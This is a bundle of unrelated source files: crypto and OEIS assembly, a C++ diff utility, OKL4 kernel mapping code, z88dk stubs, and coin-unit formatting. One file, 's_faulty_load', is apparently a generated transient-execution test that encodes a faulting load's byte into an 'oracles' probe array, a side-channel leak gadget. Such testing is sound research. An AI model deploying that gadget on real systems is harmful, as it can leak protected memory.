subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmovnc %rax, %r8
cmovnc %rdx, %r9
cmovnc %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
vzeroupper
pop %r12
ret
.p2align 5, 0x90
.globl _l9_p192r1_select_pp_w5
_l9_p192r1_select_pp_w5:
movdqa LOne(%rip), %xmm0
movdqa %xmm0, %xmm12
movd %edx, %xmm1
pshufd $(0), %xmm1, %xmm1
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
pxor %xmm5, %xmm5
pxor %xmm6, %xmm6
mov $(16), %rcx
.Lselect_loop_sse_w5gas_13:
movdqa %xmm12, %xmm13
pcmpeqd %xmm1, %xmm13
paddd %xmm0, %xmm12
movdqu (%rsi), %xmm7
movdqu (16)(%rsi), %xmm8
movdqu (32)(%rsi), %xmm9
movdqu (48)(%rsi), %xmm10
movq (64)(%rsi), %xmm11
add $(72), %rsi
pand %xmm13, %xmm7
pand %xmm13, %xmm8
pand %xmm13, %xmm9
pand %xmm13, %xmm10
pand %xmm13, %xmm11
por %xmm7, %xmm2
por %xmm8, %xmm3
por %xmm9, %xmm4
por %xmm10, %xmm5
por %xmm11, %xmm6
dec %rcx
jnz .Lselect_loop_sse_w5gas_13
movdqu %xmm2, (%rdi)
movdqu %xmm3, (16)(%rdi)
movdqu %xmm4, (32)(%rdi)
movdqu %xmm5, (48)(%rdi)
movq %xmm6, (64)(%rdi)
vzeroupper
ret
.p2align 5, 0x90
.globl _l9_p192r1_select_ap_w7
_l9_p192r1_select_ap_w7:
movdqa LOne(%rip), %xmm0
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
movdqa %xmm0, %xmm8
movd %edx, %xmm1
pshufd $(0), %xmm1, %xmm1
mov $(64), %rcx
.Lselect_loop_sse_w7gas_14:
movdqa %xmm8, %xmm9
pcmpeqd %xmm1, %xmm9
paddd %xmm0, %xmm8
movdqa (%rsi), %xmm5
movdqa (16)(%rsi), %xmm6
movdqa (32)(%rsi), %xmm7
add $(48), %rsi
pand %xmm9, %xmm5
pand %xmm9, %xmm6
pand %xmm9, %xmm7
por %xmm5, %xmm2
por %xmm6, %xmm3
por %xmm7, %xmm4
dec %rcx
jnz .Lselect_loop_sse_w7gas_14
movdqu %xmm2, (%rdi)
movdqu %xmm3, (16)(%rdi)
movdqu %xmm4, (32)(%rdi)
vzeroupper
ret
|
; A324914: a(n) = Sum_{k=1..n} 2^k * tau(k), where tau(k) = A000005(k).
; 2,10,26,74,138,394,650,1674,3210,7306,11402,35978,52362,117898,248970,576650,838794,2411658,3460234,9751690,18140298,34917514,51694730,185912458,286575754,555011210,1091882122,2702494858,3776236682,12366171274,16661138570,42430942346,76790680714,145510157450,282949110922,901424401546,1176302308490,2275813936266,4474837191818,13270930214026,17668976725130,52853348813962,70445534858378,175998651124874,387104883657866,668579860368522,950054837079178,3764804604185738,5453654464449674
mov $3,$0
add $3,1
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
sub $0,$3
mov $2,2
pow $2,$0
cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
mul $0,$2
mul $0,5
mov $4,$0
sub $4,5
div $4,5
mul $4,2
add $4,2
add $1,$4
lpe
|
/*
Copyright (C) 2006, Mike Gashler
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
see http://www.gnu.org/copyleft/lesser.html
*/
#include <stddef.h>
#include "GDiff.h"
#include "GHashTable.h"
#include "GHeap.h"
using namespace GClasses;
GDiff::GDiff(const char* szFile1, const char* szFile2)
{
m_pFile1 = szFile1;
m_pFile2 = szFile2;
m_nPos1 = 0;
m_nPos2 = 0;
m_nLine1 = 1;
m_nLine2 = 1;
m_nNextMatchLen = findNextMatchingLine(&m_nNextMatch1, &m_nNextMatch2);
}
GDiff::~GDiff()
{
}
// static
size_t GDiff::measureLineLength(const char* pLine)
{
size_t i;
for(i = 0; pLine[i] != '\0' && pLine[i] != '\n' && pLine[i] != '\r'; i++)
{
}
return i;
}
size_t GDiff::findNextMatchingLine(size_t* pPos1, size_t* pPos2)
{
size_t pos1 = m_nPos1;
size_t pos2 = m_nPos2;
GConstStringToIndexHashTable ht1(53, true);
GConstStringToIndexHashTable ht2(53, true);
GHeap heap(2000);
size_t nMatch;
size_t len1 = 0;
size_t len2 = 0;
const char* szLine1 = NULL;
const char* szLine2 = NULL;
while(true)
{
// Add the next line to the hash table
if(m_pFile1[pos1] != '\0')
{
len1 = measureLineLength(&m_pFile1[pos1]);
szLine1 = heap.add(&m_pFile1[pos1], len1);
ht1.add(szLine1, pos1);
}
if(m_pFile2[pos2] != '\0')
{
len2 = measureLineLength(&m_pFile2[pos2]);
szLine2 = heap.add(&m_pFile2[pos2], len2);
ht2.add(szLine2, pos2);
}
// Check for a match
if(m_pFile1[pos1] != '\0')
{
if(ht2.get(szLine1, &nMatch))
{
*pPos1 = pos1;
*pPos2 = nMatch;
return len1;
}
pos1 += len1;
if(m_pFile1[pos1] == '\r')
pos1++;
if(m_pFile1[pos1] == '\n')
pos1++;
}
if(m_pFile2[pos2] != '\0')
{
if(ht1.get(szLine2, &nMatch))
{
*pPos1 = nMatch;
*pPos2 = pos2;
return len2;
}
pos2 += len2;
if(m_pFile2[pos2] == '\r')
pos2++;
if(m_pFile2[pos2] == '\n')
pos2++;
}
// Check for the end of the file
if(m_pFile1[pos1] == '\0' && m_pFile2[pos2] == '\0')
{
*pPos1 = pos1;
*pPos2 = pos2;
return INVALID_INDEX;
}
}
}
bool GDiff::nextLine(struct GDiffLine* pDiffLine)
{
// Handle unique lines
if(m_nPos1 < m_nNextMatch1)
{
pDiffLine->nLineNumber1 = m_nLine1++;
pDiffLine->nLineNumber2 = INVALID_INDEX;
pDiffLine->pLine = &m_pFile1[m_nPos1];
pDiffLine->nLength = measureLineLength(pDiffLine->pLine);
m_nPos1 += pDiffLine->nLength;
if(m_pFile1[m_nPos1] == '\r')
m_nPos1++;
if(m_pFile1[m_nPos1] == '\n')
m_nPos1++;
return true;
}
if(m_nPos2 < m_nNextMatch2)
{
pDiffLine->nLineNumber1 = INVALID_INDEX;
pDiffLine->nLineNumber2 = m_nLine2++;
pDiffLine->pLine = &m_pFile2[m_nPos2];
pDiffLine->nLength = measureLineLength(pDiffLine->pLine);
m_nPos2 += pDiffLine->nLength;
if(m_pFile2[m_nPos2] == '\r')
m_nPos2++;
if(m_pFile2[m_nPos2] == '\n')
m_nPos2++;
return true;
}
// Handle the end of file
if(m_pFile1[m_nPos1] == '\0' && m_pFile2[m_nPos2] == '\0')
return false;
// Handle matching lines
pDiffLine->nLineNumber1 = m_nLine1++;
pDiffLine->nLineNumber2 = m_nLine2++;
pDiffLine->pLine = &m_pFile1[m_nPos1];
pDiffLine->nLength = m_nNextMatchLen;
m_nPos1 += m_nNextMatchLen;
if(m_pFile1[m_nPos1] == '\r')
m_nPos1++;
if(m_pFile1[m_nPos1] == '\n')
m_nPos1++;
m_nPos2 += m_nNextMatchLen;
if(m_pFile2[m_nPos2] == '\r')
m_nPos2++;
if(m_pFile2[m_nPos2] == '\n')
m_nPos2++;
m_nNextMatchLen = findNextMatchingLine(&m_nNextMatch1, &m_nNextMatch2);
return true;
}
#ifndef NO_TEST_CODE
// static
void GDiff::test()
{
const char* pA = "eenie\nmeenie\nmeiny\nmo"; // Linux line endings
const char* pB = "wham\r\nmeenie\r\nfroopy\r\nmeiny\r\nmo\r\ngwobble\r\n\r\n"; // Windows line endings
struct GDiffLine dl;
GDiff differ(pA, pB);
// eenie
if(!differ.nextLine(&dl))
ThrowError("failed");
if(dl.nLength != 5)
ThrowError("wrong");
if(dl.nLineNumber1 != 1 || dl.nLineNumber2 != INVALID_INDEX)
ThrowError("wrong");
// wham
if(!differ.nextLine(&dl))
ThrowError("failed");
if(dl.nLength != 4)
ThrowError("wrong");
if(dl.nLineNumber1 != INVALID_INDEX || dl.nLineNumber2 != 1)
ThrowError("wrong");
// meenie
if(!differ.nextLine(&dl))
ThrowError("failed");
if(dl.nLength != 6)
ThrowError("wrong");
if(dl.nLineNumber1 != 2 || dl.nLineNumber2 != 2)
ThrowError("wrong");
// froopy
if(!differ.nextLine(&dl))
ThrowError("failed");
// meiny
if(!differ.nextLine(&dl))
ThrowError("failed");
if(dl.nLineNumber1 != 3 || dl.nLineNumber2 != 4)
ThrowError("wrong");
if(strncmp(dl.pLine, "meiny", 5) != 0)
ThrowError("wrong");
// mo
if(!differ.nextLine(&dl))
ThrowError("failed");
// gwobble
if(!differ.nextLine(&dl))
ThrowError("failed");
// one blank line at the end of the second file
if(!differ.nextLine(&dl))
ThrowError("failed");
// that's all folks
if(differ.nextLine(&dl))
ThrowError("That should have been the end");
}
#endif // !NO_TEST_CODE
|
SECTION code_fp_math48
PUBLIC dge
EXTERN cm48_sccz80p_dge
defc dge = cm48_sccz80p_dge
|
; A077888: Expansion of (1-x)^(-1)/(1+x^2-x^3).
; Submitted by Jamie Morken(s2)
; 1,1,0,1,2,0,0,3,1,-2,3,4,-4,0,9,-3,-8,13,6,-20,8,27,-27,-18,55,-8,-72,64,65,-135,0,201,-134,-200,336,67,-535,270,603,-804,-332,1408,-471,-1739,1880,1269,-3618,612,4888,-4229,-4275,9118,47,-13392,9072,13440,-22463,-4367,35904,-18095,-40270
mov $3,1
lpb $0
sub $0,1
sub $1,1
sub $3,$1
add $1,$3
add $1,$2
sub $2,$1
add $3,$2
lpe
add $0,1
mov $1,3
sub $3,$0
add $1,$3
sub $1,2
mov $0,$1
|
; A017044: a(n) = (7*n + 5)^4.
; 625,20736,130321,456976,1185921,2560000,4879681,8503056,13845841,21381376,31640625,45212176,62742241,84934656,112550881,146410000,187388721,236421376,294499921,362673936,442050625,533794816,639128961,759333136,895745041,1049760000,1222830961,1416468496,1632240801,1871773696,2136750625,2428912656,2750058481,3102044416,3486784401,3906250000,4362470401,4857532416,5393580481,5972816656,6597500625,7269949696,7992538801,8767700496,9597924961,10485760000,11433811041,12444741136,13521270961,14666178816,15882300625,17172529936,18539817921,19987173376,21517662721,23134410000,24840596881,26639462656,28534304241,30528476176,32625390625,34828517376,37141383841,39567575056,42110733681,44774560000,47562811921,50479304976,53527912321,56712564736,60037250625,63506016016,67122964561,70892257536,74818113841,78904810000,83156680161,87578116096,92173567201,96947540496,101904600625,107049369856,112386528081,117920812816,123657019201,129600000000,135754665601,142125984016,148718980881,155538739456,162590400625,169879162896,177410282401,185189072896,193220905761,201511210000,210065472241,218889236736,227988105361,237367737616
mul $0,7
add $0,5
pow $0,4
|
/*
* Copyright (c) 2003-2005, National ICT Australia (NICTA)
*/
/*
* Copyright (c) 2007 Open Kernel Labs, Inc. (Copyright Holder).
* All rights reserved.
*
* 1. Redistribution and use of OKL4 (Software) in source and binary
* forms, with or without modification, are permitted provided that the
* following conditions are met:
*
* (a) Redistributions of source code must retain this clause 1
* (including paragraphs (a), (b) and (c)), clause 2 and clause 3
* (Licence Terms) and the above copyright notice.
*
* (b) Redistributions in binary form must reproduce the above
* copyright notice and the Licence Terms in the documentation and/or
* other materials provided with the distribution.
*
* (c) Redistributions in any form must be accompanied by information on
* how to obtain complete source code for:
* (i) the Software; and
* (ii) all accompanying software that uses (or is intended to
* use) the Software whether directly or indirectly. Such source
* code must:
* (iii) either be included in the distribution or be available
* for no more than the cost of distribution plus a nominal fee;
* and
* (iv) be licensed by each relevant holder of copyright under
* either the Licence Terms (with an appropriate copyright notice)
* or the terms of a licence which is approved by the Open Source
* Initative. For an executable file, "complete source code"
* means the source code for all modules it contains and includes
* associated build and other files reasonably required to produce
* the executable.
*
* 2. THIS SOFTWARE IS PROVIDED ``AS IS'' AND, TO THE EXTENT PERMITTED BY
* LAW, ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
* PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED. WHERE ANY WARRANTY IS
* IMPLIED AND IS PREVENTED BY LAW FROM BEING DISCLAIMED THEN TO THE
* EXTENT PERMISSIBLE BY LAW: (A) THE WARRANTY IS READ DOWN IN FAVOUR OF
* THE COPYRIGHT HOLDER (AND, IN THE CASE OF A PARTICIPANT, THAT
* PARTICIPANT) AND (B) ANY LIMITATIONS PERMITTED BY LAW (INCLUDING AS TO
* THE EXTENT OF THE WARRANTY AND THE REMEDIES AVAILABLE IN THE EVENT OF
* BREACH) ARE DEEMED PART OF THIS LICENCE IN A FORM MOST FAVOURABLE TO
* THE COPYRIGHT HOLDER (AND, IN THE CASE OF A PARTICIPANT, THAT
* PARTICIPANT). IN THE LICENCE TERMS, "PARTICIPANT" INCLUDES EVERY
* PERSON WHO HAS CONTRIBUTED TO THE SOFTWARE OR WHO HAS BEEN INVOLVED IN
* THE DISTRIBUTION OR DISSEMINATION OF THE SOFTWARE.
*
* 3. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR ANY OTHER PARTICIPANT BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
* IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Description: ARM space_t implementation.
*/
#include <l4.h>
#include <debug.h> /* for UNIMPLEMENTED */
#include <linear_ptab.h>
#include <space.h> /* space_t */
#include <tcb.h>
#include <arch/pgent.h>
#include <arch/memory.h>
#include <config.h>
#include <cpu/syscon.h>
#include <arch/special.h>
#include <bitmap.h>
#include <generic/lib.h>
#include <bitmap.h>
DECLARE_KMEM_GROUP(kmem_utcb);
word_t DCACHE_SIZE = 0;
word_t DCACHE_LINE_SIZE = 0;
word_t DCACHE_SETS = 0;
word_t DCACHE_WAYS = 0;
word_t ICACHE_SIZE = 0;
word_t ICACHE_LINE_SIZE = 0;
word_t ICACHE_SETS = 0;
word_t ICACHE_WAYS = 0;
extern bitmap_t ipc_bitmap_ids;
/**
* reads a word from a given physical address, uses a remap window and
* maps a 1MB page for the access
*
* @param vaddr virtual address (if caches need to be flushed)
* @param paddr physical address to read from
* @return the value at the given address
*/
word_t generic_space_t::readmem_phys (addr_t vaddr, addr_t paddr)
{
word_t data;
space_t *space;
addr_t phys_page;
bool r;
#ifdef CONFIG_ENABLE_FASS
/* on fass the CPD (kernel space) is always the current pagetable/space */
space = get_kernel_space();
#else
space = get_current_tcb()->get_space();
if (!space) {
space = get_kernel_space();/*get_current_tcb()->get_space();*/
}
#endif
#if CONFIG_ARM_VER < 6
arm_cache::cache_clean_dlines(vaddr, sizeof(word_t));
#else
arm_cache::cache_flush();
#endif
phys_page = (addr_t)((word_t)paddr & (~(PAGE_SIZE_1M-1)));
#ifdef CONFIG_USE_L2_CACHE
/* if we have l2 cache and it is enabled, have to map it l2 cachable. */
r = space->add_mapping((addr_t) PHYSMAPPING_VADDR,
phys_page, pgent_t::size_1m, space_t::read_only, true, NC_WB );
#else
r = space->add_mapping((addr_t) PHYSMAPPING_VADDR,
phys_page, pgent_t::size_1m, space_t::read_only, true, uncached );
#endif
ASSERT(ALWAYS, r == true);
space->flush_tlbent_local (get_current_space(), (addr_t)PHYSMAPPING_VADDR, PAGE_BITS_1M);
data = *(word_t*)(PHYSMAPPING_VADDR + ((word_t)paddr & (PAGE_SIZE_1M-1)));
return data;
}
bool space_t::add_mapping(addr_t vaddr, addr_t paddr, pgent_t::pgsize_e size,
rwx_e rwx, bool kernel, memattrib_e attrib)
{
pgent_t::pgsize_e pgsize = pgent_t::size_max;
pgent_t *pg = this->pgent(0);
pg = pg->next(this, pgsize, page_table_index(pgsize, vaddr));
#ifdef CONFIG_ENABLE_FASS
if (is_utcb_area(vaddr) && (this != get_kernel_space())) {
/* Special case for UTCB mappings */
//TRACEF("Utcb mapping at %p\n", vaddr);
pgsize = pgent_t::size_1m;
pg = this->pgent_utcb();
}
#endif
//TRACEF("vaddr = %p paddr = %p %d\n", vaddr, paddr, size);
/*
* Lookup mapping
*/
while (1) {
if ( pgsize == size )
break;
// Create subtree
if ( !pg->is_valid( this, pgsize ) ) {
if (!pg->make_subtree( this, pgsize, kernel ))
return false;
}
pg = pg->subtree( this, pgsize )->next
( this, pgsize-1, page_table_index( pgsize-1, vaddr ) );
pgsize--;
}
bool r = (word_t)rwx & 4;
bool w = (word_t)rwx & 2;
bool x = (word_t)rwx & 1;
pg->set_entry(this, pgsize, paddr, r, w, x, kernel, attrib);
arm_cache::cache_drain_write_buffer();
return true;
}
|
; float __fspoly (const float x, const float d[], uint16_t n)
SECTION code_clib
SECTION code_math
PUBLIC cm32_sdcc_fspoly
EXTERN m32_fspoly_callee
.cm32_sdcc_fspoly
; evaluation of a polynomial function
;
; enter : stack = uint16_t n, float d[], float x, ret
;
; exit : dehl = 32-bit product
; carry reset
;
; uses : af, bc, de, hl, af', bc', de', hl'
pop af ; my return
pop hl ; (float)x
pop de
exx
pop hl ; (float*)d
pop de ; (uint16_t)n
push af ; my return
push de ; (uint16_t)n
push hl ; (float*)d
exx
push de ; (float)x
push hl
call m32_fspoly_callee
pop hl ; my return
xor a
push af
push af
push af
push af
jp (hl)
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x16378, %rcx
nop
lfence
movb (%rcx), %r10b
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_normal_ht+0x14578, %rsi
lea addresses_A_ht+0x378, %rdi
clflush (%rdi)
nop
nop
cmp %r12, %r12
mov $95, %rcx
rep movsq
nop
sub $52423, %r12
lea addresses_UC_ht+0x3d78, %rsi
lea addresses_UC_ht+0x1ae96, %rdi
clflush (%rdi)
nop
nop
nop
nop
and $56675, %r9
mov $95, %rcx
rep movsw
nop
nop
nop
nop
add %r12, %r12
lea addresses_normal_ht+0x1332, %rdi
nop
cmp %r10, %r10
mov $0x6162636465666768, %r12
movq %r12, (%rdi)
nop
nop
nop
nop
nop
cmp $6640, %r12
lea addresses_UC_ht+0xfd38, %rdi
cmp $11861, %r12
mov $0x6162636465666768, %rcx
movq %rcx, (%rdi)
nop
nop
xor %r10, %r10
lea addresses_WC_ht+0x110b8, %r9
inc %rsi
mov $0x6162636465666768, %r12
movq %r12, %xmm4
vmovups %ymm4, (%r9)
nop
nop
nop
nop
sub $41014, %r10
lea addresses_UC_ht+0xa968, %r10
clflush (%r10)
nop
nop
nop
cmp $43273, %r9
mov $0x6162636465666768, %rbp
movq %rbp, (%r10)
nop
nop
nop
sub $34840, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0x2678, %r13
nop
and %r10, %r10
movw $0x5152, (%r13)
nop
nop
nop
nop
xor $64, %r13
// REPMOV
lea addresses_A+0x1f578, %rsi
lea addresses_A+0x1f178, %rdi
nop
nop
nop
cmp %r13, %r13
mov $13, %rcx
rep movsw
nop
nop
nop
nop
xor %r9, %r9
// Store
mov $0xb921b0000000598, %rdx
nop
nop
nop
nop
nop
add $61042, %r10
mov $0x5152535455565758, %r9
movq %r9, (%rdx)
nop
nop
nop
nop
sub $8086, %r10
// Store
lea addresses_RW+0x10718, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub %rsi, %rsi
mov $0x5152535455565758, %r10
movq %r10, %xmm4
movups %xmm4, (%rdi)
nop
nop
nop
nop
xor %rcx, %rcx
// Faulty Load
lea addresses_WT+0x1c978, %r9
nop
nop
nop
nop
nop
and $29653, %rdi
movups (%r9), %xmm1
vpextrq $0, %xmm1, %rsi
lea oracles, %rdi
and $0xff, %rsi
shlq $12, %rsi
mov (%rdi,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_A', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}}
{'39': 12}
39 39 39 39 39 39 39 39 39 39 39 39
*/
|
section .text
global _start
_start:
mov edx,len
mov ecx,msg
mov ebx,1
mov eax,4
int 0x80
mov eax,1
int 0x80
section .data
msg db 'Hello, world!',0xa
len equ $ - msg
|
#include "bitcoinunits.h"
#include <QStringList>
BitcoinUnits::BitcoinUnits(QObject *parent):
QAbstractListModel(parent),
unitlist(availableUnits())
{
}
QList<BitcoinUnits::Unit> BitcoinUnits::availableUnits()
{
QList<BitcoinUnits::Unit> unitlist;
unitlist.append(BTC);
unitlist.append(mBTC);
unitlist.append(uBTC);
return unitlist;
}
bool BitcoinUnits::valid(int unit)
{
switch(unit)
{
case BTC:
case mBTC:
case uBTC:
return true;
default:
return false;
}
}
QString BitcoinUnits::name(int unit)
{
switch(unit)
{
case BTC: return QString("BCCN");
case mBTC: return QString("mBCCN");
case uBTC: return QString::fromUtf8("μBCCN");
default: return QString("???");
}
}
QString BitcoinUnits::description(int unit)
{
switch(unit)
{
case BTC: return QString("BancCoins");
case mBTC: return QString("Milli-BancCoins (1 / 1,000)");
case uBTC: return QString("Micro-BancCoins (1 / 1,000,000)");
default: return QString("???");
}
}
qint64 BitcoinUnits::factor(int unit)
{
switch(unit)
{
case BTC: return 100000000;
case mBTC: return 100000;
case uBTC: return 100;
default: return 100000000;
}
}
int BitcoinUnits::amountDigits(int unit)
{
switch(unit)
{
case BTC: return 8; // 21,000,000 (# digits, without commas)
case mBTC: return 11; // 21,000,000,000
case uBTC: return 14; // 21,000,000,000,000
default: return 0;
}
}
int BitcoinUnits::decimals(int unit)
{
switch(unit)
{
case BTC: return 8;
case mBTC: return 5;
case uBTC: return 2;
default: return 0;
}
}
QString BitcoinUnits::format(int unit, qint64 n, bool fPlus)
{
// Note: not using straight sprintf here because we do NOT want
// localized number formatting.
if(!valid(unit))
return QString(); // Refuse to format invalid unit
qint64 coin = factor(unit);
int num_decimals = decimals(unit);
qint64 n_abs = (n > 0 ? n : -n);
qint64 quotient = n_abs / coin;
qint64 remainder = n_abs % coin;
QString quotient_str = QString::number(quotient);
QString remainder_str = QString::number(remainder).rightJustified(num_decimals, '0');
// Right-trim excess zeros after the decimal point
int nTrim = 0;
for (int i = remainder_str.size()-1; i>=2 && (remainder_str.at(i) == '0'); --i)
++nTrim;
remainder_str.chop(nTrim);
if (n < 0)
quotient_str.insert(0, '-');
else if (fPlus && n > 0)
quotient_str.insert(0, '+');
return quotient_str + QString(".") + remainder_str;
}
QString BitcoinUnits::formatWithUnit(int unit, qint64 amount, bool plussign)
{
return format(unit, amount, plussign) + QString(" ") + name(unit);
}
bool BitcoinUnits::parse(int unit, const QString &value, qint64 *val_out)
{
if(!valid(unit) || value.isEmpty())
return false; // Refuse to parse invalid unit or empty string
int num_decimals = decimals(unit);
QStringList parts = value.split(".");
if(parts.size() > 2)
{
return false; // More than one dot
}
QString whole = parts[0];
QString decimals;
if(parts.size() > 1)
{
decimals = parts[1];
}
if(decimals.size() > num_decimals)
{
return false; // Exceeds max precision
}
bool ok = false;
QString str = whole + decimals.leftJustified(num_decimals, '0');
if(str.size() > 18)
{
return false; // Longer numbers will exceed 63 bits
}
qint64 retvalue = str.toLongLong(&ok);
if(val_out)
{
*val_out = retvalue;
}
return ok;
}
int BitcoinUnits::rowCount(const QModelIndex &parent) const
{
Q_UNUSED(parent);
return unitlist.size();
}
QVariant BitcoinUnits::data(const QModelIndex &index, int role) const
{
int row = index.row();
if(row >= 0 && row < unitlist.size())
{
Unit unit = unitlist.at(row);
switch(role)
{
case Qt::EditRole:
case Qt::DisplayRole:
return QVariant(name(unit));
case Qt::ToolTipRole:
return QVariant(description(unit));
case UnitRole:
return QVariant(static_cast<int>(unit));
}
}
return QVariant();
}
|
; A046657: a(n) = A002088(n)/2.
; 1,2,3,5,6,9,11,14,16,21,23,29,32,36,40,48,51,60,64,70,75,86,90,100,106,115,121,135,139,154,162,172,180,192,198,216,225,237,245,265,271,292,302,314,325,348,356,377,387,403,415,441,450,470,482,500,514,543,551,581,596,614,630,654,664,697,713,735,747,782,794,830,848,868,886,916,928,967,983,1010,1030,1071,1083,1115,1136,1164,1184,1228,1240,1276,1298,1328,1351,1387,1403,1451,1472,1502,1522,1572,1588,1639,1663,1687,1713,1766,1784,1838,1858,1894,1918,1974,1992,2036,2064,2100,2129,2177,2193,2248,2278,2318,2348,2398,2416,2479,2511,2553,2577,2642,2662,2716,2749,2785,2817,2885,2907,2976,3000,3046,3081,3141,3165,3221,3257,3299,3335,3409,3429,3504,3540,3588,3618,3678,3702,3780,3819,3871,3903,3969,3996,4077,4117,4157,4198,4281,4305,4383,4415,4469,4511,4597,4625,4685,4725,4783,4827,4916,4940,5030,5066,5126,5170,5242,5272,5352,5398,5452,5488,5583,5615,5711,5759,5807,5849,5947,5977,6076,6116,6182,6232,6316,6348,6428,6479,6545,6593,6683,6707,6812,6864,6934,6987,7071,7107,7197,7251,7323,7363,7459,7495,7606,7654,7714,7770,7883,7919,8033,8077,8137,8193,8309,8345,8437,8495,8573,8621,8740,8772,8892,8947,9028,9088,9172,9212,9320,9380,9462,9512,9637
mov $2,$0
mov $3,$0
add $3,1
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
add $0,1
cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
mov $5,$0
sub $5,1
mov $4,$5
div $4,2
add $4,1
add $1,$4
lpe
|
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Stubs Written by D Morris - 30/9/98
;
; Wide resolution (int type parameters) version by Stefano Bodrato
;
; $Id: w_xordrawto.asm $
;
; CALLER LINKAGE FOR FUNCTION POINTERS
IF !__CPU_INTEL__
SECTION code_graphics
PUBLIC xordrawto
PUBLIC _xordrawto
EXTERN xordrawto_callee
EXTERN ASMDISP_XORDRAWTO_CALLEE
.xordrawto
._xordrawto
pop af
pop de
pop hl
push hl
push de
push af
jp xordrawto_callee + ASMDISP_XORDRAWTO_CALLEE
ENDIF
|
; THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
; SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
; END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
; ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
; IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
; SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
; FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
; CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
; AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
; COPYRIGHT 1993-1999 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
DONT_USE_UPOLY = 1
.386
option oldstructs
.nolist
include pstypes.inc
include psmacros.inc
include gr.inc
